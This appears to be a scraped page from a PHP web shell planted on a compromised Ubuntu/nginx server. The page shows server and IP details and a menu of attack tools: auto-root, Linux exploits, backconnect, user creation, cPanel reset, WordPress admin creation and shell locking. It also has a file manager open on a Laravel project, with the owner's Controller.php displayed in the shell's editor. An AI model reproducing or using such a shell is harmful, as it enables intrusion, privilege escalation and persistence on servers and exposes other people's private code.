Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
lms-api-8 /
app /
Http /
Controllers /
[ HOME SHELL ]
Name
Size
Permission
Action
Auth
[ DIR ]
drwxr-xr-x
Controller.php
7.39
KB
-rw-r--r--
HomeTestController.php
768
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Controller.php
<?php namespace App\Http\Controllers; use App\Traits\CommonTrait; use App\Traits\ImageUploadTrait; use App\Traits\MailSettingTrait; use App\Traits\SecurityTrait; use Exception; use Hamcrest\Type\IsNumeric; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Foundation\Bus\DispatchesJobs; use Illuminate\Foundation\Validation\ValidatesRequests; use Illuminate\Http\Response; use Illuminate\Routing\Controller as BaseController; use Illuminate\Support\Facades\Auth; use Illuminate\Validation\UnauthorizedException; /** * @SWG\Info(title="TenderApp", version="0.1") */ class Controller extends BaseController { use AuthorizesRequests, DispatchesJobs, ValidatesRequests, CommonTrait, MailSettingTrait, SecurityTrait, ImageUploadTrait; protected $login_user, $logged_user; private const MESSAGE_NOT_AUTHORIZED = 'NOT AUTHORIZED FOR THIS REQUEST'; private const MESSAGE_MUST_BE_UNIQUE = 'DATA ALREADY EXISTS'; private const MESSAGE_DOES_NOT_EXIST = 'DATA DOES NOT EXIST'; public function __construct() { $this->getAuthUser(); } private function getAuthUser() { $this->middleware(function ($request, $next) { $this->logged_user = new \StdClass; $this->login_user = Auth::user(); // info('login_user: ' . json_encode($this->login_user)); if ($this->login_user != null) { $this->logged_user->id = $this->login_user->id; $this->logged_user->uuid = $this->login_user->uuid; $this->logged_user->email = $this->login_user->email; $this->logged_user->firstname = $this->login_user->firstname; $this->logged_user->lastname = $this->login_user->lastname; $this->logged_user->full_name = $this->login_user->full_name; $this->logged_user->user_type = $this->login_user->user_type; $this->logged_user->role = $this->get_role($this->login_user); $this->logged_user->is_admin = ($this->logged_user->role == 'admin') ? true : false; $this->logged_user->is_operator = ($this->logged_user->role == 'business') ? true : false; $this->logged_user->account_user_id = $this->login_user->account_user->id; $this->logged_user->resource_student_id = !empty($this->login_user->account_user->resource_student) ? $this->login_user->account_user->resource_student->id: null ; $this->accounts_arr = array(); foreach ($this->login_user->accounts as $key => $value) { array_push($this->accounts_arr, $value->id); } $this->logged_user->accounts = $this->accounts_arr; $this->logged_user->account_id = !empty($this->accounts_arr) ? $this->accounts_arr[0] : null; } return $next($request); }); } public function sendEmail($email_template, $message_data, $subject, $from = null, array $to, array $cc = [], array $bcc = []) { $data = new \StdClass; $data->from = $from; $data->to = $to; $data->cc = $cc; $data->bcc = $bcc; $data->subject = $subject; try { $mail = $this->getPHPMailer(); foreach ($data->to as $t) { $mail->addAddress($t); } // Add a recipient if (!empty($data->cc)) { foreach ($data->cc as $c) { $mail->addCC($c); } } if (!empty($data->bcc)) { foreach ($data->bcc as $bc) { $mail->addBCC($bc); } } //Content $mail->isHTML(true); // Set email format to HTML $mail->Subject = $data->subject; $mail->Body = view($email_template, $message_data); if ($mail->send()) { info('sent'); return $this->success_response(null, null); } else { info('not sent'); return $this->error_response($mail->ErrorInfo); } } catch (\Exception $ex) { info($ex->getMessage()); return $this->error_response($ex->getMessage()); } } public function sendTestEmail($message, $to, $subject, $settings) { try { $mail = $this->getPHPMailer($settings); $mail->addAddress($to); $mail->isHTML(true); // Set email format to HTML $mail->Subject = $subject; $mail->Body = $message; if ($mail->send()) { return true; } else { return false; } } catch (\Throwable $t) { info('error :' . $t->getMessage()); return false; } } public function sendResponse($result, $message=null, $user = null) { $response = [ 'success' => true, 'data' => $result, 'message' => $message, 'code' => Response::HTTP_OK ]; $response['logged_user'] = $user; return response()->json($response, Response::HTTP_OK, $headers = [], JSON_PRETTY_PRINT); } public function sendError($error, $code = 500, $errorMessages = []) { $response = [ 'success' => false, 'message' => ['error' => [$error]], 'code' => $code ]; if (!empty($errorMessages)) { $response['data'] = $errorMessages; } return response()->json($response, $code); } public function sendException(Exception $e) { $code = $e->getCode(); if (empty($code)) $code = 500; else if (!is_numeric($code)) $code = 500; else if(!$this->isValidHttpStatusCode($code)) $code=500; $response = [ 'success' => false, 'message' => ['error' => [$e->getMessage()]] ]; return response()->json($response, $code); } public function sendNotAuthorized($message = null) { if (is_null($message)) $message = self::MESSAGE_NOT_AUTHORIZED; $response = [ 'success' => false, 'message' => ['error' => $message], 'code' => 401 ]; return response()->json($response, 401); } public function sendAlreadyExists($message = null) { if (is_null($message)) $message = self::MESSAGE_MUST_BE_UNIQUE; $response = [ 'success' => false, 'message' => ['error' => $message], 'code' => 406 ]; return response()->json($response, 406); } public function sendDoesNotExist($message = null) { if (is_null($message)) $message = self::MESSAGE_DOES_NOT_EXIST; $response = [ 'success' => false, 'message' => ['error' => $message], 'code' => 406 ]; return response()->json($response, 406); } protected function AuthorizeAdmin($permission = null) { if (!$this->logged_user || $this->logged_user->user_type != 'admin') { throw new Exception("NOT AUTHORIZED FOR THIS REQUEST", 401); } } protected function AuthorizeBusiness($permission = null) { if (!$this->logged_user || $this->logged_user->user_type != 'business') { throw new Exception("NOT AUTHORIZED FOR THIS REQUEST", 401); } } }
Close